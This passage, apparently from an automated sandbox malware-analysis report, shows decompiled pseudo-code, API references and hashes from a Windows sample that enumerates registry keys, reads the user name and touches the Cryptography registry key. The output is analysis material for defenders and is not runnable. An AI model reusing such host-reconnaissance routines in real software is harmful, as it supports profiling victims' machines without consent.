				E004049A0(0x41ca78, 0x40b3bc, _v60);
				_t39 =  *0x41ca78; // 0x0
				 *((intOrPtr*)( *_t39 + 0x1c))(_t39, E0040495C( &_v8), 1, 0,  *[fs:eax], 0x40b3a9, _t106, __edi, __esi, __ebx, _t105);
				_t42 = _v8;
				 *((intOrPtr*)( *_t42 + 0x1c))(_t42, 0x40b3cc, 0);
				while(1) {
					_push( &_v12);
					_push( &_v56);
					_push(1);
					_t47 = _v8;
					_push(_t47);
					if( *((intOrPtr*)( *_t47 + 0xc))() != 0) {
						break;
					}
					_t80 = _t80 + 1;
					_push(_t80);
					E00404804();
					_t109 = _t109 + 4;
					E0040370C( &_v16, _v52);
					if(E00403AD4(E0040B3D8, _v16) != 0) {
						E004039F0(_v16, E00403AD4(E0040B3D8, _v16) - 1, 0,  &_v16);
					}
					 *((intOrPtr*)( *_t104 + _t80 * 4 - 4)) = E00402530(E00403790(_v16) + 1 + E00403790(_v16) + 1);
					E00404594(_v16, E00403790(_v16) + 1 + E00403790(_v16) + 1, _t60);
				}
				_pop(_t98);
				 *[fs:eax] = _t98;
				_push(E0040B3B0);
				E0040495C( &_v60);
				E004034E4( &_v16);
				return E0040495C( &_v8);
			}

0x0040b25d
0x0040b25f
0x0040b267
0x0040b26a
0x0040b26d
0x0040b270
0x0040b27d
0x0040b282
0x0040b287
0x0040b293
0x0040b298
0x0040b29d
0x0040b2a8
0x0040b2ba
0x0040b2c8
0x0040b2d0
0x0040b2da
0x0040b2e0
0x0040b368
0x0040b36b
0x0040b36f
0x0040b370
0x0040b372
0x0040b375
0x0040b37d
0x00000000
0x00000000
0x0040b2e8
0x0040b2e9
0x0040b2f7
0x0040b2fc
0x0040b305
0x0040b319
0x0040b334
0x0040b334
0x0040b34d
0x0040b363
0x0040b363
0x0040b385
0x0040b388
0x0040b38b
0x0040b393
0x0040b39b
0x0040b3a8

APIs

OleInitialize.OLE32(00000000), ref: 0040B282

Part of subcall function 0040B224: 753BB690.OLE32(0041B0DC,00000000,00000005,0040B24C,00000000,?,00000000,0040B2AD,0041A212), ref: 0040B23C

Memory Dump Source

Source File: 00000003.00000002.283965391.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: B690Initialize
String ID:
API String ID: 62962372-0
Opcode ID: d30836ddc1409fdf9a8374d37fef35613b021cf67b3851e34091d0a9a0415fc4
Instruction ID: c88935c142374d05637e4e5ef7e11d934145d739cb85352ca4efeef76b47b7cb
Opcode Fuzzy Hash: d30836ddc1409fdf9a8374d37fef35613b021cf67b3851e34091d0a9a0415fc4
Instruction Fuzzy Hash: 0B412671A10108AFD704EFAAD841A9EB7F9EF48304F608176F514F72D1DB79AE058798

Uniqueness

Uniqueness Score: -1.00%

Function 0040B7F6, Relevance: 1.6, APIs: 1, Instructions: 94
registryCOMMON

Download Yara Rule

C-Code - Quality: 34%

			E0040B7F6(void* __eax, short* __ebx, char __ecx, short* __edx, void* __esi, char _a1, intOrPtr _a8) {
				char _v4;
				char _v8;
				char _v12;
				void* _v16;
				char _v20;
				void* _v24;
				char _v28;
				char _v32;
				char _v36;
				char _v40;
				char _v44;
				intOrPtr _v48;
				char _v52;
				intOrPtr _v56;
				char _v60;
				char _v64;
				char _v68;
				char _v72;
				void* _v76;
				char _t73;
				long _t80;
				intOrPtr* _t82;
				intOrPtr* _t103;
				intOrPtr* _t116;
				intOrPtr* _t126;
				intOrPtr* _t142;
				signed int _t160;
				intOrPtr _t168;
				intOrPtr _t170;
				intOrPtr _t171;
				void* _t181;
				void* _t182;
				void* _t185;
				char* _t186;
				intOrPtr _t187;
				intOrPtr _t188;
				void* _t195;

				_t159 = __ebx;
				_t73 = __eax + 1;
				 *__ebx =  *__ebx + __ecx;
				if( *__ebx == 0) {
					_t186 =  &_a1;
					asm("aaa");
					_pop(_t183);
					asm("arpl [gs:edi+0x64], bp");
					_push(_t186);
					_push(_t186);
					_t187 = _t188;
					_t188 = _t188 + 0xffffffb8;
					_push(__ebx);
					_v72 = 0;
					_v76 = 0;
					_v68 = 0;
					_v16 = 0;
					_v24 = 0;
					_v12 = __ecx;
					_t159 = __edx;
					_v8 = _t73;
					E00404874(_v8);
					E00403980(_v12);
					_push(_t187);
					_push(0x40ba26);
					_push( *[fs:eax]);
					 *[fs:eax] = _t188;
				}
				E004034E4(_a8);
				_v16 = 0;
				_t80 = RegOpenKeyExW(0x80000001, _t159, 0, 1,  &_v24); // executed
				if(_t80 == 0) {
					_v28 = 0x400;
					_t185 = E00402530(_v28);
					while(1) {
						_push(0);
						_push(0);
						_push(0);
						_push(0);
						_push( &_v28);
						_push(_t185);
						_push(_v16);
						_push(_v24);
						_t103 =  *0x41b3a4; // 0x41c734
						if( *((intOrPtr*)( *_t103))() == 0x103) {
							goto L13;
						}
						_v28 = 0x400;
						_t181 = E00404650();
						if(_t181 >= 0) {
							_t182 = _t181 + 1;
							_t160 = 0;
							do {
								E0040B47C( *((intOrPtr*)(_v4 + _t160 * 4)), _t160,  &_v20, _t182, _t185);
								_t116 =  *0x41b398; // 0x41c710
								 *((intOrPtr*)( *_t116))(_v24, _t185, 0,  &_v32, 0,  &_v36);
								_push(_v36);
								E00404804();
								_t188 = _t188 + 4;
								_push( &_v36);
								_push(_v12);
								_push( &_v32);
								_push(0);
								_push(_t185);
								_push(_v24);
								_t126 =  *0x41b398; // 0x41c710
								if( *((intOrPtr*)( *_t126))() == 0) {
									_v40 = _v12;
									_v44 = _v36;
									_v56 =  *((intOrPtr*)(_v4 + _t160 * 4));
									E00403D24( &_v64,  *((intOrPtr*)(_v4 + _t160 * 4)));
									_v60 = E00403DA8(_v64) + 1 + E00403DA8(_v64) + 1;
									_push( &_v52);
									_push(1);
									_push(0);
									_push(0);
									_push( &_v60);
									_push(0);
									_push( &_v44);
									_t142 =  *0x41b338; // 0x41ca64
									if( *((intOrPtr*)( *_t142))() != 0) {
										E0040370C( &_v72,  *((intOrPtr*)(_v4 + _t160 * 4)));
										E0040B66C(_v48, _t160, _v8, _t182, _t185, _t195,  &_v68, _v72);
										E00403798(_a8, _v68);
									}
								}
								_t160 = _t160 + 1;
								_t182 = _t182 - 1;
							} while (_t182 != 0);
						}
						E00404F5C();
						_v16 = _v16 + 1;
					}
				}
				L13:
				_t82 =  *0x41b1fc; // 0x41c714
				 *((intOrPtr*)( *_t82))(_v24);
				_pop(_t168);
				 *[fs:eax] = _t168;
				_push(E0040BA2D);
				E00403508( &_v72, 2);
				E00403BDC( &_v64);
				E004034E4( &_v20);
				_t170 =  *0x40b7e0; // 0x40b7e4
				E00404810( &_v12, _t170);
				E004034E4( &_v8);
				_t171 =  *0x40b1f0; // 0x40b1f4
				return E00404810( &_v4, _t171);
			}

0x0040b7f6
0x0040b7f6
0x0040b7f7
0x0040b7f9
0x0040b7fb
0x0040b7fc
0x0040b7fd
0x0040b7fe
0x0040b803
0x0040b804
0x0040b805
0x0040b807
0x0040b80a
0x0040b80f
0x0040b812
0x0040b815
0x0040b818
0x0040b81b
0x0040b81e
0x0040b821
0x0040b823
0x0040b829
0x0040b831
0x0040b838
0x0040b839
0x0040b83e
0x0040b841
0x0040b841
0x0040b847
0x0040b84e
0x0040b866
0x0040b86a
0x0040b870
0x0040b87f
0x0040b9a1
0x0040b9a1
0x0040b9a3
0x0040b9a5
0x0040b9a7
0x0040b9ac
0x0040b9ad
0x0040b9b1
0x0040b9b5
0x0040b9b6
0x0040b9c4
0x00000000
0x00000000
0x0040b886
0x0040b895
0x0040b899
0x0040b89f
0x0040b8a0
0x0040b8a2
0x0040b8ab
0x0040b8c1
0x0040b8c8
0x0040b8cd
0x0040b8dc
0x0040b8e1
0x0040b8e7
0x0040b8eb
0x0040b8ef
0x0040b8f0
0x0040b8f2
0x0040b8f6
0x0040b8f7
0x0040b902
0x0040b90b
0x0040b911
0x0040b91a
0x0040b926
0x0040b936
0x0040b93c
0x0040b93d
0x0040b93f
0x0040b941
0x0040b946
0x0040b947
0x0040b94c
0x0040b94d
0x0040b958
0x0040b963
0x0040b979
0x0040b984
0x0040b989
0x0040b958
0x0040b98c
0x0040b98d
0x0040b98d
0x0040b8a2
0x0040b999
0x0040b99e
0x0040b99e
0x0040b9a1
0x0040b9ca
0x0040b9ce
0x0040b9d5
0x0040b9d9
0x0040b9dc
0x0040b9df
0x0040b9ec
0x0040b9f4
0x0040b9fc
0x0040ba04
0x0040ba0a
0x0040ba12
0x0040ba1a
0x0040ba25

APIs

RegOpenKeyExW.KERNEL32(80000001,00000000,00000000,00000001,0040BA88,00000000,0040BA26,?,00000000,?,0041A212), ref: 0040B866

Memory Dump Source

Source File: 00000003.00000002.283965391.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: Open
String ID:
API String ID: 71445658-0
Opcode ID: f1f9334443584011cf5168663a8e67e6e779add6abc14e1a091fd41e02c1005d
Instruction ID: 9a17799ac8c0ff2d3e348671e1a29b6c9fd41175bbc70158a8eb9afbb2bce372
Opcode Fuzzy Hash: f1f9334443584011cf5168663a8e67e6e779add6abc14e1a091fd41e02c1005d
Instruction Fuzzy Hash: 86311B71A00209AFDB10DF99CD81A9EBBF8FF48304F50447AE514F72A1D778AA05CB98

Uniqueness

Uniqueness Score: -1.00%

Function 0040B1F1, Relevance: 1.6, APIs: 1, Instructions: 68
comCOMMON

Download Yara Rule

C-Code - Quality: 66%

			E0040B1F1(signed int __eax, signed int __ebx, signed int __edx, void* __esi) {
				intOrPtr* _t42;
				intOrPtr* _t45;
				intOrPtr* _t50;
				void* _t82;
				signed int _t84;
				intOrPtr _t103;
				signed int _t108;
				signed int _t110;
				intOrPtr _t111;
				void* _t112;
				signed int _t114;

				_t84 = __ebx;
				 *0x40 =  *0x40 + __edx;
				 *0x00000093 =  *0x00000093 | __edx;
				if( *0x00000093 == 0) {
					 *((intOrPtr*)(_t110 - 0xc)) = __edx;
					_t108 = __eax;
					_push(_t110);
					_push(0x40b3a9);
					_push( *[fs:eax]);
					 *[fs:eax] = _t111;
					_push(0); // executed
					L0040B1A4(); // executed
					_t84 = 0;
					_push(1);
					goto L6;
				} else {
					_t110 =  *(__esi + 0x67) * 4;
					 *((intOrPtr*)(__eax)) =  *((intOrPtr*)(__eax)) + __eax;
					 *((intOrPtr*)(__eax)) =  *((intOrPtr*)(__eax)) + __eax;
					asm("invalid");
					asm("invalid");
					 *((intOrPtr*)(__eax)) =  *((intOrPtr*)(__eax)) + __eax;
					 *((intOrPtr*)(__eax)) =  *((intOrPtr*)(__eax)) + __eax;
					_push(__edx);
					_t111 = _t111 - 1;
					_t82 = __eax - 1;
					_t108 =  *(__ebx + 0x74) * 0x8b79726f;
					_t114 = _t108;
					asm("outsd");
					if(_t114 < 0) {
						L6:
						asm("adc eax, 0x40b1f0");
						E00404804();
						_t112 = _t111 + 4;
						E0040B224(0x41b0dc, _t110 - 0x38);
						E004049A0(0x41ca78, 0x40b3bc,  *((intOrPtr*)(_t110 - 0x38)));
						_t42 =  *0x41ca78; // 0x0
						 *((intOrPtr*)( *_t42 + 0x1c))(_t42, E0040495C(_t110 - 4));
						_t45 =  *((intOrPtr*)(_t110 - 4));
						 *((intOrPtr*)( *_t45 + 0x1c))(_t45, 0x40b3cc, 0);
						while(1) {
							_push(_t110 - 8);
							_push(_t110 - 0x34);
							_push(1);
							_t50 =  *((intOrPtr*)(_t110 - 4));
							_push(_t50);
							if( *((intOrPtr*)( *_t50 + 0xc))() != 0) {
								break;
							}
							_t84 = _t84 + 1;
							_push(_t84);
							E00404804();
							_t112 = _t112 + 4;
							E0040370C(_t110 - 0xc,  *((intOrPtr*)(_t110 - 0x30)));
							if(E00403AD4(E0040B3D8,  *((intOrPtr*)(_t110 - 0xc))) != 0) {
								E004039F0( *((intOrPtr*)(_t110 - 0xc)), E00403AD4(E0040B3D8,  *((intOrPtr*)(_t110 - 0xc))) - 1, 0, _t110 - 0xc);
							}
							 *((intOrPtr*)( *_t108 + _t84 * 4 - 4)) = E00402530(E00403790( *((intOrPtr*)(_t110 - 0xc))) + 1 + E00403790( *((intOrPtr*)(_t110 - 0xc))) + 1);
							E00404594( *((intOrPtr*)(_t110 - 0xc)), E00403790( *((intOrPtr*)(_t110 - 0xc))) + 1 + E00403790( *((intOrPtr*)(_t110 - 0xc))) + 1, _t63);
						}
						_pop(_t103);
						 *[fs:eax] = _t103;
						_push(E0040B3B0);
						E0040495C(_t110 - 0x38);
						E004034E4(_t110 - 0xc);
						return E0040495C(_t110 - 4);
					} else {
						return E0040B1AC(_t82);
					}
				}
			}

0x0040b1f1
0x0040b1f3
0x0040b1f5
0x0040b1f9
0x0040b26d
0x0040b270
0x0040b274
0x0040b275
0x0040b27a
0x0040b27d
0x0040b280
0x0040b282
0x0040b287
0x0040b289
0x00000000
0x0040b1fb
0x0040b1fb
0x0040b202
0x0040b204
0x0040b206
0x0040b208
0x0040b20a
0x0040b20c
0x0040b211
0x0040b212
0x0040b213
0x0040b214
0x0040b214
0x0040b217
0x0040b218
0x0040b293
0x0040b293
0x0040b298
0x0040b29d
0x0040b2a8
0x0040b2ba
0x0040b2c8
0x0040b2d0
0x0040b2da
0x0040b2e0
0x0040b368
0x0040b36b
0x0040b36f
0x0040b370
0x0040b372
0x0040b375
0x0040b37d
0x00000000
0x00000000
0x0040b2e8
0x0040b2e9
0x0040b2f7
0x0040b2fc
0x0040b305
0x0040b319
0x0040b334
0x0040b334
0x0040b34d
0x0040b363
0x0040b363
0x0040b385
0x0040b388
0x0040b38b
0x0040b393
0x0040b39b
0x0040b3a8
0x0040b21c
0x0040b221
0x0040b221
0x0040b218

APIs

OleInitialize.OLE32(00000000), ref: 0040B282

Memory Dump Source

Source File: 00000003.00000002.283965391.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: Initialize
String ID:
API String ID: 2538663250-0
Opcode ID: 67d68c7ff2cf0783649e8f11be3508c4047d0b263d5c73358eb907004b94e72c
Instruction ID: d56c344eb3216282757b74ba43926a06aa4a9d5816d5202f5fa97c8ec1e6a1bd
Opcode Fuzzy Hash: 67d68c7ff2cf0783649e8f11be3508c4047d0b263d5c73358eb907004b94e72c
Instruction Fuzzy Hash: 462195B1604208AFD301EBA5D851B9E7BB8EF45304F6040B7F600EB2E2D779AD04CB99

Uniqueness

Uniqueness Score: -1.00%

Function 0040776C, Relevance: 1.5, APIs: 1, Instructions: 29
COMMON

Download Yara Rule

C-Code - Quality: 43%

			E0040776C(char __eax, void* __ebx, void* __ecx) {
				char _v8;
				intOrPtr _t24;
				intOrPtr _t27;

				_v8 = __eax;
				E00404150( &_v8);
				_push(_t27);
				_push(0x4077b8);
				_push( *[fs:eax]);
				 *[fs:eax] = _t27;
				GetFileAttributesW(E00403D98(_v8)); // executed
				_pop(_t24);
				 *[fs:eax] = _t24;
				_push(E004077BF);
				return E00403BDC( &_v8);
			}

0x00407771
0x00407777
0x0040777e
0x0040777f
0x00407784
0x00407787
0x0040779a
0x004077a4
0x004077a7
0x004077aa
0x004077b7

APIs

Part of subcall function 00404150: SysAllocStringLen.OLEAUT32(SOFTWARE\Microsoft\Cryptography,?), ref: 0040415E

GetFileAttributesW.KERNEL32(00000000,00000000,004077B8,?,0041CA58,?,?,004096E8,00000000,00000000,00000000,00409963,?,?,?,00000000), ref: 0040779A

Part of subcall function 00403BDC: SysFreeString.OLEAUT32(00000000), ref: 00403BEA

Memory Dump Source

Source File: 00000003.00000002.283965391.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: String$AllocAttributesFileFree
String ID:
API String ID: 2634384563-0
Opcode ID: 8810337ccaa0ea54d61b76612c76d4f3deadb12b9a49095d69064cceecd31e12
Instruction ID: 455f119eb2bdff77f9424d14ab95cdd3c78d1bf311641bba7c090798075f41e3
Opcode Fuzzy Hash: 8810337ccaa0ea54d61b76612c76d4f3deadb12b9a49095d69064cceecd31e12
Instruction Fuzzy Hash: 3CF0A070504208AFC301EB65CC4289D7BECEB49B103A10577F410E3690E734BF009525

Uniqueness

Uniqueness Score: -1.00%

Function 004065E8, Relevance: 1.5, APIs: 1, Instructions: 22
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E004065E8(intOrPtr* __eax) {
				short _v516;
				signed int _t4;
				signed int _t5;
				int _t9;
				void* _t11;
				signed int _t14;
				void* _t18;
				DWORD* _t19;

				_t4 = __eax +  *__eax;
				 *_t4 =  *_t4 + _t4;
				_t5 = _t4 | 0x5300000a;
				_t19 = _t18 + 0xfffffdfc;
				_t14 = _t5;
				 *_t19 = 0xff;
				_t9 = GetUserNameW( &_v516, _t19); // executed
				if(_t9 == 0) {
					_t11 = E00403BDC(_t14);
				} else {
					_t11 = E00403D6C(_t14, 0x100,  &_v516);
				}
				return _t11;
			}

0x004065e8
0x004065ea
0x004065ec
0x004065f1
0x004065f7
0x004065f9
0x0040660d
0x00406611
0x00406627
0x00406613
0x0040661e
0x0040661e
0x00406633

APIs

GetUserNameW.ADVAPI32(?,?,?,00406D53,00000000,00406E52,?,?,?,00000006,00000000,00000000,?,0041872E,?), ref: 0040660D

Memory Dump Source

Source File: 00000003.00000002.283965391.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: NameUser
String ID:
API String ID: 2645101109-0
Opcode ID: 153b4ec9fa6da1239e45f29a021cf1180a625503ea610292dda7591db46c391b
Instruction ID: 5a5990060c673b8f00593b581c9a0ee3644ab744bab1f058c1932740bd518d27
Opcode Fuzzy Hash: 153b4ec9fa6da1239e45f29a021cf1180a625503ea610292dda7591db46c391b
Instruction Fuzzy Hash: 1BE0DFB12083424FC3119BA8D880AA53BE49F49300F044876B8D5C72E1FE35CE248753

Uniqueness

Uniqueness Score: -1.00%

Function 004065EC, Relevance: 1.5, APIs: 1, Instructions: 20
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E004065EC(signed int __eax) {
				short _v516;
				signed int _t4;
				int _t8;
				void* _t10;
				signed int _t13;
				void* _t17;
				DWORD* _t18;

				_t4 = __eax | 0x5300000a;
				_t18 = _t17 + 0xfffffdfc;
				_t13 = _t4;
				 *_t18 = 0xff;
				_t8 = GetUserNameW( &_v516, _t18); // executed
				if(_t8 == 0) {
					_t10 = E00403BDC(_t13);
				} else {
					_t10 = E00403D6C(_t13, 0x100,  &_v516);
				}
				return _t10;
			}

0x004065ec
0x004065f1
0x004065f7
0x004065f9
0x0040660d
0x00406611
0x00406627
0x00406613
0x0040661e
0x0040661e
0x00406633

APIs

GetUserNameW.ADVAPI32(?,?,?,00406D53,00000000,00406E52,?,?,?,00000006,00000000,00000000,?,0041872E,?), ref: 0040660D

Memory Dump Source

Source File: 00000003.00000002.283965391.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: NameUser
String ID:
API String ID: 2645101109-0
Opcode ID: 60f9d436da294c5ff49d132d20e00676374c28b1533c3170959a1c115f4756e2
Instruction ID: 7803372b71e91cd4900786e151d6695f3fca8b78fda9d7e8201226f5ab6c0eae
Opcode Fuzzy Hash: 60f9d436da294c5ff49d132d20e00676374c28b1533c3170959a1c115f4756e2
Instruction Fuzzy Hash: D7E08CB16043065BD3109AA8D880AAA76E89B88300F00493AB89AD73D0FE39CE248647

Uniqueness

Uniqueness Score: -1.00%

Function 0040B224, Relevance: 1.5, APIs: 1, Instructions: 16
COMMON

Download Yara Rule

C-Code - Quality: 21%

			E0040B224(void* __eax, void* __edx) {
				void* _t5;

				_t5 = __eax;
				_push(E0040495C(__edx));
				_push(E0040B24C);
				_push(5);
				_push(0);
				_push(_t5); // executed
				L0040B19C(); // executed
				return E0040B21C();
			}

0x0040b228
0x0040b231
0x0040b232
0x0040b237
0x0040b239
0x0040b23b
0x0040b23c
0x0040b248

APIs

753BB690.OLE32(0041B0DC,00000000,00000005,0040B24C,00000000,?,00000000,0040B2AD,0041A212), ref: 0040B23C

Memory Dump Source

Source File: 00000003.00000002.283965391.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: B690
String ID:
API String ID: 417491870-0
Opcode ID: ea87c094835d07a58bc1d5365071f3338e958cacf1eec016397e9f1b13d5280c
Instruction ID: 69e00c9d87702f46269832269a6170cc29c97575f005fbbd27e421e5aa9de9af
Opcode Fuzzy Hash: ea87c094835d07a58bc1d5365071f3338e958cacf1eec016397e9f1b13d5280c
Instruction Fuzzy Hash: 64C0029538166026E12471AA1C9AF5F458CCB89B59F2504BBB614FA2D7A6A85C0002ED

Uniqueness

Uniqueness Score: -1.00%

Function 00403BF4, Relevance: 1.5, APIs: 1, Instructions: 16
COMMON

Download Yara Rule

C-Code - Quality: 88%

			E00403BF4(intOrPtr* __eax, void* __edx) {
				intOrPtr _t2;
				intOrPtr* _t3;
				void* _t5;

				_t3 = __eax;
				_t5 = __edx;
				do {
					_t2 =  *_t3;
					if(_t2 != 0) {
						 *_t3 = 0;
						_push(_t2); // executed
						L00401158(); // executed
					}
					_t3 = _t3 + 4;
					_t5 = _t5 - 1;
				} while (_t5 != 0);
				return _t2;
			}

0x00403bf6
0x00403bf8
0x00403bfa
0x00403bfa
0x00403bfe
0x00403c00
0x00403c06
0x00403c07
0x00403c07
0x00403c0c
0x00403c0f
0x00403c0f
0x00403c14

APIs

SysFreeString.OLEAUT32(?), ref: 00403C07

Memory Dump Source

Source File: 00000003.00000002.283965391.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: FreeString
String ID:
API String ID: 3341692771-0
Opcode ID: 666d4a7f243ceda8b82161072e5686ca28aa1a8e142f5acf4f48046508e80ba4
Instruction ID: cdd5f4ee5c8407d12f9f5f2ec6126983fe571eb6c910ebd830156e573ed208a8
Opcode Fuzzy Hash: 666d4a7f243ceda8b82161072e5686ca28aa1a8e142f5acf4f48046508e80ba4
Instruction Fuzzy Hash: 74C012B26102209BFF259A599CC0B5277DC9B49355B1400B2E509FB391E678DD004658

Uniqueness

Uniqueness Score: -1.00%

Function 00403604, Relevance: 1.5, APIs: 1, Instructions: 15
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00403604(char* __eax, short* __ecx, int __edx, int _a4) {
				int _t4;
				int _t5;

				_t4 =  *0x41c5a8; // 0x3
				_t5 = WideCharToMultiByte(_t4, 0, __ecx, _a4, __eax, __edx, 0, 0); // executed
				return _t5;
			}

0x00403614
0x0040361a
0x00403620

APIs

WideCharToMultiByte.KERNEL32(00000003,00000000,?,?,00000000,00000001,00000000,00000000,00000001,004036B0,00000000), ref: 0040361A

Memory Dump Source

Source File: 00000003.00000002.283965391.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: ByteCharMultiWide
String ID:
API String ID: 626452242-0
Opcode ID: 561e95d8c0e043bb599fe2914a8b8ce540b10e76985e8275bf81900a008061d5
Instruction ID: 7e1ccd6cea493bd3454663dff710d39ec61ca1bdc7a044e150527f2c3e7482f1
Opcode Fuzzy Hash: 561e95d8c0e043bb599fe2914a8b8ce540b10e76985e8275bf81900a008061d5
Instruction Fuzzy Hash: 1EC002B22802087FE5149A9ADC46FA7769C9758B50F108029B7089E1D1D5A5B85046BC

Uniqueness

Uniqueness Score: -1.00%

Function 00403BB4, Relevance: 1.5, APIs: 1, Instructions: 10
memoryCOMMON

Download Yara Rule

C-Code - Quality: 46%

			E00403BB4(signed int __eax) {
				signed int _t2;
				signed char _t12;
				void* _t14;
				void* _t18;

				_t2 = __eax;
				if(__eax == 0) {
					L11:
					return _t2;
				} else {
					_push(__eax);
					_push(0); // executed
					L00401148(); // executed
					if(__eax == 0) {
						__eax = __eax & 0x0000007f;
						__edx =  *__esp;
						_t18 = _t14;
						_t12 = _t2 & 0x0000007f;
						if( *0x41c008 != 0) {
							 *0x41c008();
						}
						if(_t12 != 0) {
							if(_t12 <= 0x18) {
								_t1 = _t12 + 0x41b03c; // 0xd7c9c8cc
								_t12 =  *_t1;
							}
						} else {
							_t12 =  *0x41c624; // 0x67
						}
						return E004025C0(_t18);
					} else {
						goto L11;
					}
				}
			}

0x00403bb4
0x00403bb6
0x00403bc8
0x00403bc8
0x00403bb8
0x00403bb8
0x00403bb9
0x00403bbb
0x00403bc2
0x00402614
0x00402617
0x004025ce
0x004025d2
0x004025dc
0x004025e2
0x004025e2
0x004025ea
0x004025f7
0x004025fd
0x004025fd
0x004025fd
0x004025ec
0x004025ec
0x004025ec
0x00402610
0x00000000
0x00000000
0x00000000
0x00403bc2

APIs

SysAllocStringLen.OLEAUT32(00000000,00000000), ref: 00403BBB

Memory Dump Source

Source File: 00000003.00000002.283965391.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: AllocString
String ID:
API String ID: 2525500382-0
Opcode ID: 92b8383c76f9170655d9dc637fa6dabbdb32a675263a533678155a320cc0c0f8
Instruction ID: cc320876a9625d104608ea07d28c2a31881d354d5da6284e066d4471a5eebec8
Opcode Fuzzy Hash: 92b8383c76f9170655d9dc637fa6dabbdb32a675263a533678155a320cc0c0f8
Instruction Fuzzy Hash: 9AB0922425860120EA6418620A01B33185C0B60B4BF880037AD20F41C2D96DE901503A

Uniqueness

Uniqueness Score: -1.00%

Function 00403BCC, Relevance: 1.5, APIs: 1, Instructions: 6
COMMON

Download Yara Rule

C-Code - Quality: 82%

			E00403BCC(intOrPtr* __eax, intOrPtr __edx) {
				intOrPtr _t4;

				_t4 =  *__eax;
				 *__eax = __edx;
				if(_t4 != 0) {
					_push(_t4); // executed
					L00401158(); // executed
					return __eax;
				}
				return __eax;
			}

0x00403bcc
0x00403bcc
0x00403bd0
0x00403bd2
0x00403bd3
0x00000000
0x00403bd3
0x00403bd8

APIs

SysFreeString.OLEAUT32(00000000), ref: 00403BD3

Memory Dump Source

Source File: 00000003.00000002.283965391.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: FreeString
String ID:
API String ID: 3341692771-0
Opcode ID: 4922c5fd9d3a0b2b3f5f47c82899ed0dbd9246eb6c6f0e0d0d4e4ac0480ba6a2
Instruction ID: b74080e8723bd2c965acb067c4bb7b075115b3c8c25a1433ae70b86ac4b73cdf
Opcode Fuzzy Hash: 4922c5fd9d3a0b2b3f5f47c82899ed0dbd9246eb6c6f0e0d0d4e4ac0480ba6a2
Instruction Fuzzy Hash: 0BA0247C10030354CF0F351F000041331353FD03073C4C47D51003D1515D3F54004114

Uniqueness

Uniqueness Score: -1.00%

Function 00401464, Relevance: 1.3, APIs: 1, Instructions: 62
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00401464(void* __eax, intOrPtr* __ecx, intOrPtr __edx) {
				intOrPtr _v20;
				intOrPtr _v24;
				void* _v28;
				intOrPtr* _v32;
				intOrPtr* _t24;
				intOrPtr _t27;
				intOrPtr _t31;
				int _t32;
				intOrPtr* _t35;
				intOrPtr* _t42;
				void* _t43;
				void* _t44;
				intOrPtr* _t45;

				_t45 =  &_v20;
				_v32 = __ecx;
				 *_t45 = __edx;
				_v28 = 0xffffffff;
				_v24 = 0;
				_t44 = __eax;
				_v20 =  *_t45 + __eax;
				_t35 =  *0x41c5d4; // 0x41c5d4
				while(_t35 != 0x41c5d4) {
					_t42 =  *_t35;
					_t5 = _t35 + 8; // 0x0
					_t43 =  *_t5;
					if(_t44 <= _t43) {
						_t6 = _t35 + 0xc; // 0x0
						if(_t43 +  *_t6 <= _v20) {
							if(_t43 < _v28) {
								_v28 = _t43;
							}
							_t10 = _t35 + 0xc; // 0x0
							_t31 = _t43 +  *_t10;
							if(_t31 > _v24) {
								_v24 = _t31;
							}
							_t32 = VirtualFree(_t43, 0, 0x8000); // executed
							if(_t32 == 0) {
								 *0x41c5b0 = 1;
							}
							E0040126C(_t35);
						}
					}
					_t35 = _t42;
				}
				_t24 = _v32;
				 *_t24 = 0;
				if(_v24 == 0) {
					return _t24;
				}
				 *_v32 = _v28;
				_t27 = _v24 - _v28;
				 *((intOrPtr*)(_v32 + 4)) = _t27;
				return _t27;
			}

0x00401468
0x0040146b
0x0040146f
0x00401472
0x0040147c
0x00401480
0x00401487
0x0040148b
0x004014e4
0x00401493
0x00401495
0x00401495
0x0040149a
0x0040149e
0x004014a5
0x004014ab
0x004014ad
0x004014ad
0x004014b3
0x004014b3
0x004014ba
0x004014bc
0x004014bc
0x004014c8
0x004014cf
0x004014d1
0x004014d1
0x004014dd
0x004014dd
0x004014a5
0x004014e2
0x004014e2
0x004014ec
0x004014f2
0x004014f9
0x0040151b
0x0040151b
0x00401503
0x00401509
0x00401511
0x00000000

APIs

VirtualFree.KERNEL32(FFFFFFFF,00000000,00008000), ref: 004014C8

Memory Dump Source

Source File: 00000003.00000002.283965391.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: FreeVirtual
String ID:
API String ID: 1263568516-0
Opcode ID: 8487bf62bb6a208eaaff7636571d42378b79c596feb4fea81bccde4a3e3226a5
Instruction ID: bdb72b2e4f8392e9a4367bae485781504843fed35f2e07c9585e1bdde9d69fdb
Opcode Fuzzy Hash: 8487bf62bb6a208eaaff7636571d42378b79c596feb4fea81bccde4a3e3226a5
Instruction Fuzzy Hash: 2621F770608710AFC710DF19C8C0A5BBBE5EF85760F14C96AE4989B3A5D378EC41CB9A

Uniqueness

Uniqueness Score: -1.00%

Function 0040151C, Relevance: 1.3, APIs: 1, Instructions: 54
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040151C(signed int __eax, void** __ecx, intOrPtr __edx) {
				signed int _v20;
				void** _v24;
				void* _t15;
